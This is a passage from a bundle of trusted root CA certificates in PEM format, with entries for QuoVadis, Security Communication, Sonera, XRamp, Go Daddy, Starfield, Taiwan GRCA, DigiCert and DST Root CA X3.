Z+YTRYPENvbzwCYMDbVHZF34tHLJRqUDGCdViXh9duqWNIAXINzng/iN/Ae42l9NLmeyhP3ZRPx3 UIHmfLTJDQtyU/h2BwdBR5YM++CCJpNVjP4iH2BlfF/nJrP3MpCYUNQ3cVX2kiF495V5+vgtJodm VjB3pjd4M1IQWK4/YY7yarHvGH5KWWPKjaJW1acvvFYfzznB4vsKqBUsfU16Y8Zsl0Q80m/DShcK +JDSV6IZUaUtl0HaB0+pUNqQjZRG4T7wlP0QADj1O+hA4bRuVhogzG9Yje0uRY/W6ZM/57Es3zrW IozchLsib9D45MY56QSIPMO661V6bYCZJPVsAfv4l7CUW+v90m/xd2gNNWQjrLhVoQPRTUIZ3Ph1 WVaj+ahJefivDrkRoHy3au000LYmYjgahwz46P0u05B/B5EqHdZ+XIWDmbA4CD/pXvk1B+TJYm5X f6dQlfe6yJvmjqIBxdZmv3lh8zwc4bmCXF2gw+nYSL0ZohEUGW6yhhtoPkg3Goi3XZZenMfvJ2II 4pEZXNLxId26F0KCl3GBUzGpn/Z9Yr9y4aOTHcyKJloJONDO1w2AFrR4pTqHTI2KpdVGl/IsELm8 VCLAAVBpQ570su9t+Oza8eOx79+Rj1QqCyXBJhnEUhAFZdWCEOrCMc0u -----END CERTIFICATE----- QuoVadis Root CA 3 ================== -----BEGIN CERTIFICATE----- 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 -----END CERTIFICATE----- Security Communication Root CA ============================== -----BEGIN CERTIFICATE----- MIIDWjCCAkKgAwIBAgIBADANBgkqhkiG9w0BAQUFADBQMQswCQYDVQQGEwJKUDEYMBYGA1UEChMP U0VDT00gVHJ1c3QubmV0MScwJQYDVQQLEx5TZWN1cml0eSBDb21tdW5pY2F0aW9uIFJvb3RDQTEw HhcNMDMwOTMwMDQyMDQ5WhcNMjMwOTMwMDQyMDQ5WjBQMQswCQYDVQQGEwJKUDEYMBYGA1UEChMP U0VDT00gVHJ1c3QubmV0MScwJQYDVQQLEx5TZWN1cml0eSBDb21tdW5pY2F0aW9uIFJvb3RDQTEw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCzs/5/022x7xZ8V6UMbXaKL0u/ZPtM7orw 8yl89f/uKuDp6bpbZCKamm8sOiZpUQWZJtzVHGpxxpp9Hp3dfGzGjGdnSj74cbAZJ6kJDKaVv0uM DPpVmDvY6CKhS3E4eayXkmmziX7qIWgGmBSWh9JhNrxtJ1aeV+7AwFb9Ms+k2Y7CI9eNqPPYJayX 5HA49LY6tJ07lyZDo6G8SVlyTCMwhwFY9k6+HGhWZq/NQV3Is00qVUarH9oe4kA92819uZKAnDfd DJZkndwi92SL32HeFZRSFaB9UslLqCHJxrHty8OVYNEP8Ktw+N/LTX7s1vqr2b1/VPKl6Xn62dZ2 JChzAgMBAAGjPzA9MB0GA1UdDgQWBBSgc0mZaNyFW2XjmygvV5+9M7wHSDALBgNVHQ8EBAMCAQYw DwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAaECpqLvkT115swW1F7NgE+vGkl3g 0dNq/vu+m22/xwVtWSDEHPC32oRYAmP6SBbvT6UL90qY8j+eG61Ha2POCEfrUj94nK9NrvjVT8+a mCoQQTlSxN3Zmw7vkwGusi7KaEIkQmywszo+zenaSMQVy+n5Bw+SUEmK3TGXX8npN6o7WWWXlDLJ s58+OmJYxUmtYg5xpTKqL8aJdkNAExNnPaJUJRDL8Try2frbSVa7pv6nQTXD4IhhyYjH3zYQIphZ 6rBK+1YWc26sTfcioU+tHXotRSflMMFe8toTyyVCUZVHA4xsIcx0Qu1T/zOLjw9XARYvz6buyXAi FL39vmwLAw== -----END CERTIFICATE----- Sonera Class 2 Root CA ====================== -----BEGIN CERTIFICATE----- MIIDIDCCAgigAwIBAgIBHTANBgkqhkiG9w0BAQUFADA5MQswCQYDVQQGEwJGSTEPMA0GA1UEChMG U29uZXJhMRkwFwYDVQQDExBTb25lcmEgQ2xhc3MyIENBMB4XDTAxMDQwNjA3Mjk0MFoXDTIxMDQw NjA3Mjk0MFowOTELMAkGA1UEBhMCRkkxDzANBgNVBAoTBlNvbmVyYTEZMBcGA1UEAxMQU29uZXJh IENsYXNzMiBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJAXSjWdyvANlsdE+hY3 /Ei9vX+ALTU74W+oZ6m/AxxNjG8yR9VBaKQTBME1DJqEQ/xcHf+Js+gXGM2RX/uJ4+q/Tl18GybT dXnt5oTjV+WtKcT0OijnpXuENmmz/V52vaMtmdOQTiMofRhj8VQ7Jp12W5dCsv+u8E7s3TmVToMG f+dJQMjFAbJUWmYdPfz56TwKnoG4cPABi+QjVHzIrviQHgCWctRUz2EjvOr7nQKV0ba5cTppCD8P tOFCx4j1P5iop7oc4HFx71hXgVB6XGt0Rg6DA5jDjqhu8nYybieDwnPz3BjotJPqdURrBGAgcVeH nfO+oJAjPYok4doh28MCAwEAAaMzMDEwDwYDVR0TAQH/BAUwAwEB/zARBgNVHQ4ECgQISqCqWITT XjwwCwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBBQUAA4IBAQBazof5FnIVV0sd2ZvnoiYw7JNn39Yt 0jSv9zilzqsWuasvfDXLrNAPtEwr/IDva4yRXzZ299uzGxnq9LIR/WFxRL8oszodv7ND6J+/3DEI cbCdjdY0RzKQxmUk96BKfARzjzlvF4xytb1LyHr4e4PDKE6cCepnP7JnBBvDFNr450kkkdAdavph Oe9r5yF1BgfYErQhIHBCcYHaPJo2vqZbDWpsmh+Re/n570K6Tk6ezAyNlNzZRZxe7EJQY670XcSx EtzKO6gunRRaBXW37Ndj4ro1tgQIkejanZz2ZrUYrAqmVCY0M9IbwdR/GjqOC6oybtv8TyWf2TLH llpwrN9M -----END CERTIFICATE----- XRamp Global CA Root ==================== -----BEGIN CERTIFICATE----- MIIEMDCCAxigAwIBAgIQUJRs7Bjq1ZxN1ZfvdY+grTANBgkqhkiG9w0BAQUFADCBgjELMAkGA1UE BhMCVVMxHjAcBgNVBAsTFXd3dy54cmFtcHNlY3VyaXR5LmNvbTEkMCIGA1UEChMbWFJhbXAgU2Vj dXJpdHkgU2VydmljZXMgSW5jMS0wKwYDVQQDEyRYUmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBB dXRob3JpdHkwHhcNMDQxMTAxMTcxNDA0WhcNMzUwMTAxMDUzNzE5WjCBgjELMAkGA1UEBhMCVVMx HjAcBgNVBAsTFXd3dy54cmFtcHNlY3VyaXR5LmNvbTEkMCIGA1UEChMbWFJhbXAgU2VjdXJpdHkg U2VydmljZXMgSW5jMS0wKwYDVQQDEyRYUmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBBdXRob3Jp dHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCYJB69FbS638eMpSe2OAtp87ZOqCwu IR1cRN8hXX4jdP5efrRKt6atH67gBhbim1vZZ3RrXYCPKZ2GG9mcDZhtdhAoWORlsH9KmHmf4MMx foArtYzAQDsRhtDLooY2YKTVMIJt2W7QDxIEM5dfT2Fa8OT5kavnHTu86M/0ay00fOJIYRyO82FE zG+gSqmUsE3a56k0enI4qEHMPJQRfevIpoy3hsvKMzvZPTeL+3o+hiznc9cKV6xkmxnr9A8ECIqs AxcZZPRaJSKNNCyy9mgdEm3Tih4U2sSPpuIjhdV6Db1q4Ons7Be7QhtnqiXtRYMh/MHJfNViPvry xS3T/dRlAgMBAAGjgZ8wgZwwEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgGGMA8GA1Ud EwEB/wQFMAMBAf8wHQYDVR0OBBYEFMZPoj0GY4QJnM5i5ASsjVy16bYbMDYGA1UdHwQvMC0wK6Ap oCeGJWh0dHA6Ly9jcmwueHJhbXBzZWN1cml0eS5jb20vWEdDQS5jcmwwEAYJKwYBBAGCNxUBBAMC AQEwDQYJKoZIhvcNAQEFBQADggEBAJEVOQMBG2f7Shz5CmBbodpNl2L5JFMn14JkTpAuw0kbK5rc /Kh4ZzXxHfARvbdI4xD2Dd8/0sm2qlWkSLoC295ZLhVbO50WfUfXN+pfTXYSNrsf16GBBEYgoyxt qZ4Bfj8pzgCT3/3JknOJiWSe5yvkHJEs0rnOfc5vMZnT5r7SHpDwCRR5XCOrTdLaIR9NmXmd4c8n nxCbHIgNsIpkQTG4DmyQJKSbXHGPurt+HBvbaoAPIbzp26a3QPSyi6mx5O+aGtA9aZnuqCij4Tyz 8LIRnM98QObd50N9otg6tamN8jSZxNQQ4Qb9CYQQO+7ETPTsJ3xCwnR8gooJybQDJbw= -----END CERTIFICATE----- Go Daddy Class 2 CA =================== -----BEGIN CERTIFICATE----- MIIEADCCAuigAwIBAgIBADANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMY VGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRp ZmljYXRpb24gQXV0aG9yaXR5MB4XDTA0MDYyOTE3MDYyMFoXDTM0MDYyOTE3MDYyMFowYzELMAkG A1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28g RGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASAwDQYJKoZIhvcNAQEBBQAD ggENADCCAQgCggEBAN6d1+pXGEmhW+vXX0iG6r7d/+TvZxz0ZWizV3GgXne77ZtJ6XCAPVYYYwhv 2vLM0D9/AlQiVBDYsoHUwHU9S3/Hd8M+eKsaA7Ugay9qK7HFiH7Eux6wwdhFJ2+qN1j3hybX2C32 qRe3H3I2TqYXP2WYktsqbl2i/ojgC95/5Y0V4evLOtXiEqITLdiOr18SPaAIBQi2XKVlOARFmR6j YGB0xUGlcmIbYsUfb18aQr4CUWWoriMYavx4A6lNf4DD+qta/KFApMoZFv6yyO9ecw3ud72a9nmY vLEHZ6IVDd2gWMZEewo+YihfukEHU1jPEX44dMX4/7VpkI+EdOqXG68CAQOjgcAwgb0wHQYDVR0O BBYEFNLEsNKR1EwRcbNhyz2h/t2oatTjMIGNBgNVHSMEgYUwgYKAFNLEsNKR1EwRcbNhyz2h/t2o atTjoWekZTBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMu MTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggEAMAwG A1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBADJL87LKPpH8EsahB4yOd6AzBhRckB4Y9wim PQoZ+YeAEW5p5JYXMP80kWNyOO7MHAGjHZQopDH2esRU1/blMVgDoszOYtuURXO1v0XJJLXVggKt I3lpjbi2Tc7PTMozI+gciKqdi0FuFskg5YmezTvacPd+mSYgFFQlq25zheabIZ0KbIIOqPjCDPoQ HmyW74cNxA9hi63ugyuV+I6ShHI56yDqg+2DzZduCLzrTia2cyvk0/ZM/iZx4mERdEr/VxqHD3VI Ls9RaRegAhJhldXRQLIQTO7ErBBDpqWeCtWVYpoNz4iCxTIM5CufReYNnyicsbkqWletNw+vHX/b vZ8= -----END CERTIFICATE----- Starfield Class 2 CA ==================== -----BEGIN CERTIFICATE----- MIIEDzCCAvegAwIBAgIBADANBgkqhkiG9w0BAQUFADBoMQswCQYDVQQGEwJVUzElMCMGA1UEChMc U3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAGA1UECxMpU3RhcmZpZWxkIENsYXNzIDIg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDQwNjI5MTczOTE2WhcNMzQwNjI5MTczOTE2WjBo MQswCQYDVQQGEwJVUzElMCMGA1UEChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAG A1UECxMpU3RhcmZpZWxkIENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEgMA0GCSqG SIb3DQEBAQUAA4IBDQAwggEIAoIBAQC3Msj+6XGmBIWtDBFk385N78gDGIc/oav7PKaf8MOh2tTY bitTkPskpD6E8J7oX+zlJ0T1KKY/e97gKvDIr1MvnsoFAZMej2YcOadN+lq2cwQlZut3f+dZxkqZ JRRU6ybH838Z1TBwj6+wRir/resp7defqgSHo9T5iaU0X9tDkYI22WY8sbi5gv2cOj4QyDvvBmVm epsZGD3/cVE8MC5fvj13c7JdBmzDI1aaK4UmkhynArPkPw2vCHmCuDY96pzTNbO8acr1zJ3o/WSN F4Azbl5KXZnJHoe0nRrA1W4TNSNe35tfPe/W93bC6j67eA0cQmdrBNj41tpvi/JEoAGrAgEDo4HF MIHCMB0GA1UdDgQWBBS/X7fRzt0fhvRbVazc1xDCDqmI5zCBkgYDVR0jBIGKMIGHgBS/X7fRzt0f hvRbVazc1xDCDqmI56FspGowaDELMAkGA1UEBhMCVVMxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNo bm9sb2dpZXMsIEluYy4xMjAwBgNVBAsTKVN0YXJmaWVsZCBDbGFzcyAyIENlcnRpZmljYXRpb24g QXV0aG9yaXR5ggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAAWdP4id0ckaVaGs afPzWdqbAYcaT1epoXkJKtv3L7IezMdeatiDh6GX70k1PncGQVhiv45YuApnP+yz3SFmH8lU+nLM PUxA2IGvd56Deruix/U0F47ZEUD0/CwqTRV/p2JdLiXTAAsgGh1o+Re49L2L7ShZ3U0WixeDyLJl xy16paq8U4Zt3VekyvggQQto8PT7dL5WXXp59fkdheMtlb71cZBDzI0fmgAKhynpVSJYACPq4xJD KVtHCN2MQWplBqjlIapBtJUhlbl90TSrE9atvNziPTnNvT51cKEYWQPJIrSPnNVeKtelttQKbfi3 QBFGmh95DmK/D5fs4C8fF5Q= -----END CERTIFICATE----- Taiwan GRCA =========== -----BEGIN CERTIFICATE----- MIIFcjCCA1qgAwIBAgIQH51ZWtcvwgZEpYAIaeNe9jANBgkqhkiG9w0BAQUFADA/MQswCQYDVQQG EwJUVzEwMC4GA1UECgwnR292ZXJubWVudCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4X DTAyMTIwNTEzMjMzM1oXDTMyMTIwNTEzMjMzM1owPzELMAkGA1UEBhMCVFcxMDAuBgNVBAoMJ0dv dmVybm1lbnQgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCAiIwDQYJKoZIhvcNAQEBBQAD ggIPADCCAgoCggIBAJoluOzMonWoe/fOW1mKydGGEghU7Jzy50b2iPN86aXfTEc2pBsBHH8eV4qN w8XRIePaJD9IK/ufLqGU5ywck9G/GwGHU5nOp/UKIXZ3/6m3xnOUT0b3EEk3+qhZSV1qgQdW8or5 BtD3cCJNtLdBuTK4sfCxw5w/cP1T3YGq2GN49thTbqGsaoQkclSGxtKyyhwOeYHWtXBiCAEuTk8O 1RGvqa/lmr/czIdtJuTJV6L7lvnM4T9TjGxMfptTCAtsF/tnyMKtsc2AtJfcdgEWFelq16TheEfO htX7MfP6Mb40qij7cEwdScevLJ1tZqa2jWR+tSBqnTuBto9AAGdLiYa4zGX+FVPpBMHWXx1E1wov J5pGfaENda1UhhXcSTvxls4Pm6Dso3pdvtUqdULle96ltqqvKKyskKw4t9VoNSZ63Pc78/1Fm9G7 Q3hub/FCVGqY8A2tl+lSXunVanLeavcbYBT0peS2cWeqH+riTcFCQP5nRhc4L0c/cZyu5SHKYS1t B6iEfC3uUSXxY5Ce/eFXiGvviiNtsea9P63RPZYLhY3Naye7twWb7LuRqQoHEgKXTiCQ8P8NHuJB O9NAOueNXdpm5AKwB1KYXA6OM5zCppX7VRluTI6uSw+9wThNXo+EHWbNxWCWtFJaBYmOlXqYwZE8 lSOyDvR5tMl8wUohAgMBAAGjajBoMB0GA1UdDgQWBBTMzO/MKWCkO7GStjz6MmKPrCUVOzAMBgNV HRMEBTADAQH/MDkGBGcqBwAEMTAvMC0CAQAwCQYFKw4DAhoFADAHBgVnKgMAAAQUA5vwIhP/lSg2 09yewDL7MTqKUWUwDQYJKoZIhvcNAQEFBQADggIBAECASvomyc5eMN1PhnR2WPWus4MzeKR6dBcZ TulStbngCnRiqmjKeKBMmo4sIy7VahIkv9Ro04rQ2JyftB8M3jh+Vzj8jeJPXgyfqzvS/3WXy6Tj Zwj/5cAWtUgBfen5Cv8b5Wppv3ghqMKnI6mGq3ZW6A4M9hPdKmaKZEk9GhiHkASfQlK3T8v+R0F2 Ne//AHY2RTKbxkaFXeIksB7jSJaYV0eUVXoPQbFEJPPB/hprv4j9wabak2BegUqZIJxIZhm1AHlU D7gsL0u8qV1bYH+Mh6XgUmMqvtg7hUAV/h62ZT/FS9p+tXo1KaMuephgIqP0fSdOLeq0dDzpD6Qz DxARvBMB1uUO07+1EqLhRSPAzAhuYbeJq4PjJB7mXQfnHyA+z2fI56wwbSdLaG5LKlwCCDTb+Hbk Z6MmnD+iMsJKxYEYMRBWqoTvLQr/uB930r+lWKBi5NdLkXWNiYCYfm3LU05er/ayl4WXudpVBrkk 7tfGOB5jGxI7leFYrPLfhNVfmS8NVVvmONsuP3LpSIXLuykTjx44VbnzssQwmSNOXfJIoRIM3BKQ CZBUkQM8R+XVyWXgt0t97EfTsws+rZ7QdAAO671RrcDeLMDDav7v3Aun+kbfYNucpllQdSNpc5Oy +fwC00fmcc4QAu4njIT/rEUNE1yDMuAlpYYsfPQS -----END CERTIFICATE----- DigiCert Assured ID Root CA =========================== -----BEGIN CERTIFICATE----- MIIDtzCCAp+gAwIBAgIQDOfg5RfYRv6P5WD8G/AwOTANBgkqhkiG9w0BAQUFADBlMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQw IgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0EwHhcNMDYxMTEwMDAwMDAwWhcNMzEx MTEwMDAwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQL ExB3d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0Ew ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCtDhXO5EOAXLGH87dg+XESpa7cJpSIqvTO 9SA5KFhgDPiA2qkVlTJhPLWxKISKityfCgyDF3qPkKyK53lTXDGEKvYPmDI2dsze3Tyoou9q+yHy UmHfnyDXH+Kx2f4YZNISW1/5WBg1vEfNoTb5a3/UsDg+wRvDjDPZ2C8Y/igPs6eD1sNuRMBhNZYW /lmci3Zt1/GiSw0r/wty2p5g0I6QNcZ4VYcgoc/lbQrISXwxmDNsIumH0DJaoroTghHtORedmTpy oeb6pNnVFzF1roV9Iq4/AUaG9ih5yLHa5FcXxH4cDrC0kqZWs72yl+2qp/C3xag/lRbQ/6GW6whf GHdPAgMBAAGjYzBhMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRF 66Kv9JLLgjEtUYunpyGd823IDzAfBgNVHSMEGDAWgBRF66Kv9JLLgjEtUYunpyGd823IDzANBgkq hkiG9w0BAQUFAAOCAQEAog683+Lt8ONyc3pklL/3cmbYMuRCdWKuh+vy1dneVrOfzM4UKLkNl2Bc EkxY5NM9g0lFWJc1aRqoR+pWxnmrEthngYTffwk8lOa4JiwgvT2zKIn3X/8i4peEH+ll74fg38Fn SbNd67IJKusm7Xi+fT8r87cmNW1fiQG2SVufAQWbqz0lwcy2f8Lxb4bG+mRo64EtlOtCt/qMHt1i 8b5QZ7dsvfPxH2sMNgcWfzd8qVttevESRmCD1ycEvkvOl77DZypoEd+A5wwzZr8TDRRu838fYxAe +o0bJW1sj6W3YQGx0qMmoRBxna3iw/nDmVG3KwcIzi7mULKn+gpFL6Lw8g== -----END CERTIFICATE----- DigiCert Global Root CA ======================= -----BEGIN CERTIFICATE----- MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBhMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAw HgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAw MDAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3 dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkq hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsBCSDMAZOn TjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97nh6Vfe63SKMI2tavegw5 BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt43C/dxC//AH2hdmoRBBYMql1GNXRor5H 4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7PT19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y 7vrTC0LUq7dBMtoM1O/4gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQAB o2MwYTAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbRTLtm 8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQEF BQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/EsrhMAtudXH/vTBH1jLuG2cenTnmCmr EbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIt tep3Sp+dWOIrWcBAI+0tKIJFPnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886 UAb3LujEV0lsYSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4= -----END CERTIFICATE----- DigiCert High Assurance EV Root CA ================================== -----BEGIN CERTIFICATE----- MIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBsMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSsw KQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAw MFoXDTMxMTExMDAwMDAwMFowbDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZ MBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFu Y2UgRVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm+9S75S0t Mqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTWPNt0OKRKzE0lgvdKpVMS OO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEMxChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3 MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFBIk5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQ NAQTXKFx01p8VdteZOE3hzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUe h10aUAsgEsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMB Af8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaAFLE+w2kD+L9HAdSY JhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3NecnzyIZgYIVyHbIUf4KmeqvxgydkAQ V8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6zeM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFp myPInngiK3BD41VHMWEZ71jFhS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkK mNEVX58Svnw2Yzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe vEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep+OkuE6N36B9K -----END CERTIFICATE----- DST Root CA X3 ============== -----BEGIN CERTIFICATE----- MIIDSjCCAjKgAwIBAgIQRK+wgNajJ7qJMDmGLvhAazANBgkqhkiG9w0BAQUFADA/MSQwIgYDVQQK 